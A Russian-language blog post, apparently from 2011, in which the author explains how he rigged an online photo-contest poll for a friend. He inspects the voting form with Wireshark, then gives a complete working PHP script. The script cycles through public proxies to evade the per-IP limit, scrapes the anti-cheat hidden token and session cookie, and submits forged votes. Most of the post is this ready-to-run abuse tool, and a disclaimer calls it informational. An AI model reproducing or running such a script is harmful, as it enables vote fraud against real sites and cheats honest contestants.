spiridonov.pro

Обо мне | Блог | In English

Накрутка голосов на PHP на пальцах

11 March 2011

Мои знакомые постоянно участвуют в различных конкурсах. При этом они привлекают к этому всех своих друзей и знакомых, рассылая в аське или вконтакте просьбы «Проголосуй за меня тут», «Проголосуй за фото» и т.д. Думаю, такая ситуация знакома многим. И вот однажды я решил помочь одной своей подруге и вот что из этого получилось.

Внимание! Данный пост написан исключительно для ознакомления. Используйте данную информацию только для разработки методов борьбы с накруткой при разработке собственных приложений. Играйте честно, друзья, и не нарушайте закон!

Для голосования не требовалось регистрации. Единственное ограничение было в том, что с одного IP можно голосовать не чаще, чем раз в 3 часа. Это значительно облегчало задачу. Первым делом я полез в куки браузера, чтобы почистить их. Конечно, вероятность такой халявы была очень мала, но я всё таки попробовал:) Очевидно, что IP адрес и время последнего голоса хранятся на сервере. Значит мы будем работать со списком прокси-серверов, чтобы обойти это.

План

Если в двух словах, то нам нужно определить, какие данные посылаются на сервер при нажатии на кнопку «Голосовать», и потом автоматизировать это, чтобы такие же данные отсылались быстро, часто и без рук:) По мере сложности нам придётся делать дополнительные действия перед отправкой данных. Всё зависит от того, что там для нас приготовили разработчики модуля голосования…

Исследуем HTML

Откроем исходный текст страницы с голосованием. Нас интересует тэг <form>, его атрибуты action и method, а так же все вложенные тэги <input>. Судя по всему это модуль aPoll для Joomla. Но на самом деле это не важно, потому что я опишу тут общие принципы, которые применимы для любого подобного механизма голосования.

Всё содержимое формы будет отправлено на сервер по нажатию на кнопку type=submit. Способ отправки данных формы на сервер указан в атрибуте method. Для отправки данных через форму используют методы GET или POST (в протоколе HTTP существуют ещё и другие методы, о которых вкратце можно почитать, например, тут). Данные уходят по адресу, указанному в action, в виде пар key=value. Если клиентская сторона веб-приложения реализована с применением ajax, то определить метод и адрес будет немного сложнее, но дальнейшие наши действия почти не будут отличаться (возможно, я расскажу об этом следующий раз).

Назначение почти всех <input> понятно. В глаза бросается только последний неведомый параметр:

<input type="hidden" name="dd972dd7998aca5da8349c281a530424" value="1" />

Если обновить страницу, то имя этого параметра изменится.

Поскольку используется метод POST, я предполагаю, что запрос будет выглядеть примерно так:

POST /path/to/voting/script HTTP/1.1
Host: www.target.ru
Connection: keep-alive
Content-Length: 89
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/html  
voteid=83&option=com_apoll&id=20&format=raw&view=apoll&dd972dd7998aca5da8349c281a530424=1

Смотрим за пакетами

Чтобы получить точные данные, которые посылает браузер, я воспользовался Wireshark`ом. О снифферах и особенно о wifi-снифферах я расскажу подробнее в следующий раз.

Запускаем Wireshark, настраиваем фильтр так, чтобы отлавливались только пакеты от нас до нужного хоста и обратно (лишний мусор нам ни к чему). Ещё можно отключить картинки в браузере - это уменьшит объём трафика между нами и сервером и улучшить читаемость списка отловленных пакетов. Удаляем в браузере куки для этого сайта, открываем страницу с формой голосования, выбираем нужный пункт, нажимаем «Голосовать». Останавливаем захват пакетов. Ищем пакет POST:

Тут всё, как я и предполагал, за исключением строки:

Cookie: 0c8b34dacf4f14182867180a1aaba5c4=47e0e642a25f8b86d926b6f2cf9eef55

Теперь понятно зачем нужен тот неведомый параметр со страшным именем. Это простейшая защита от накрутки, которая лишь наполовину усложнит наш скрипт - нельзя тупо отправить POST-запрос на сервер, не загрузив перед этим страницу с голосованием. Откуда нам получить эту куку? Ищем пакет GET с запросом самой страницы. Следом за ним ищем ближайший HTTP/1.1 200 OK:

Из него нам нужна только строка Set-Cookie. Это указание браузеру сохранить куку key=value для текущего сайта, а точнее для его части, указанной в path (в нашем случае - это корень).

Теперь все звенья цепи собраны, можно начинать!

Реализация

Общая картина у нас теперь сложилась. Нам нужно запросить GET страницу с формой голосования, вытащить из заголовка куку и тот неведомый параметр из формы. Затем сформировать POST запрос с кукой, неведомым параметром и другими параметрами, которые остаются неизменными. Всё это нужно выполнять в цикле по файлу со списком прокси-серверов.

Выполнение скрипта будет занимать много времени - соответственно, его нельзя будет расположить у какого нибудь веб-хостера. Никаким шеллом я, к сожадению, не владею. Поэтому запускать буду на локальной машине:) Это крайне небезопасно, и я никому не рекомендую так делать!

Где достать список прокси? Для меня это тоже было проблемой. В сети много мест, где бесплатно публикуют списки прокси-серверов. Половина из них просто не работает. Две трети оставшихся ни разу не анонимны, но для наших целей вполне подойдут, так как всё же меняют REMOTE_ADDR. По началу я проверял найденные списки в программах прокси-чекерах. Но потом забил на это, потому что написанный скрипт сам переходил к следующему прокси из списка, если текущий не отвечал и вываливался по таймауту. Вид списков прокси серверов может быть разным: где-то адрес и порт могут разделяться двоеточием, где-то пробелами или табуляцией. В таком случае придётся подогнать разбор строк в скрипте под нужный формат записи.

После вечера кодирования и отладки у меня получилось так:

<?php  
function PostRequest($url, $proxy_host, $proxy_port, $data, $cookie)
{
    $url = parse_url($url);  
    $host = $url['host'];
    $path = $url['path'];  
    $fp = fsockopen($proxy_host, $proxy_port);
    if (!$fp)
        return;  
    fputs($fp, "POST $path HTTP/1.1\r\n");
    fputs($fp, "Host: $host\r\n");
    fputs($fp, "Connection: close\r\n");
    fputs($fp, "Referer: $url\r\n");
    fputs($fp, "Accept: text/javascript, text/html, application/xml, text/xml, */*\r\n");
    fputs($fp, "Content-Length: ".strlen($data)."\r\n");
    fputs($fp, "Origin: $host\r\n");
    fputs($fp, "X-Requested-With: XMLHttpRequest\r\n");
    fputs($fp, "Content-type: application/x-www-form-urlencoded; charset=UTF-8\r\n");
    fputs($fp, "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13\r\n");
    fputs($fp, "Cookie: $cookie\r\n\r\n");
    fputs($fp, $data);  
    $result = '';
    while(!feof($fp)) {
        $result .= fgets($fp, 128);
    }
    fclose($fp);  
    $result = explode("\r\n\r\n", $result, 2);
    $header = isset($result[0]) ? $result[0] : '';
    $content = isset($result[1]) ? $result[1] : '';  
    return array($header, $content);
}  
function GetRequest($url, $proxy_host, $proxy_port)
{
    $url = parse_url($url);  
    $host = $url['host'];
    $path = $url['path'];  
    $fp = fsockopen($proxy_host, $proxy_port);
    if (!$fp)
        return;  
    fputs($fp, "GET $path HTTP/1.1\r\n");
    fputs($fp, "Host: $host\r\n");
    fputs($fp, "Connection: close\r\n");
    fputs($fp, "Accept: text/javascript, text/html, application/xml, text/xml, */*\r\n");
    fputs($fp, "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13\r\n\r\n");  
    $result = '';
    while(!feof($fp)) {
        $result .= fgets($fp, 128);
    }
    fclose($fp);  
    $result = explode("\r\n\r\n", $result, 2);
    $header = isset($result[0]) ? $result[0] : '';
    $content = isset($result[1]) ? $result[1] : '';  
    return array($header, $content);
}  
$handle = @fopen("C:/proxylist.txt", "r");
if ($handle)
{
    while (($buffer = fgets($handle)) !== false)
    {
        $result = explode("\t", $buffer, 3);
        $proxy_host = isset($result[0]) ? $result[0] : '';
        $proxy_port = isset($result[1]) ? $result[1] : '';
        $proxy_port = str_replace("\n", "", $proxy_port);  
        echo "$proxy_host : $proxy_port - ";  
        if ($proxy_host != '' && $proxy_port != '')
        {
            list($header, $content) = GetRequest(
                "http://www.target.ru/road/to/hell",
                $proxy_host, $proxy_port
            );  
            if (preg_match('/Set-Cookie: (.+);/', $header, $matches))
            {
                $cookie = $matches[1];  
                if (preg_match('/<div><input type="hidden" name="(.+)" value="1" \/><\/div><\/form>/', $content, $matches))
                {
                    $fuck = $matches[1];
                    echo $fuck;
                    $data = "voteid=83&option=com_apoll&id=20&format=raw&view=apoll&$fuck=1";  
                    list($header, $content) = PostRequest(
                        "http://www.target.ru/road/to/fucking/hell/fuck/yeah",
                        $proxy_host, $proxy_port,
                        $data, $cookie
                    );
                    echo " - OK\n";
                }
                else
                {
                    echo "Fuck fail\n";
                }
            }
            else
            {
                echo "Cookie fail\n";
            }
        }
    }  
    fclose($handle);
}  
?>

Не самый красивый код, но главное работает :)

UPD (21.03.2011): На сайте всё таки зачесались - сделали обязательной регистрацию для голосования :) Я переделывать скрипт не буду. Свою задачу он сделал, когда это было нужно. Требование регистрации усложняет задачу на порядок, но принцип накрутки всё равно останется таким же.


© 2011-2022 - Станислав Спиридонов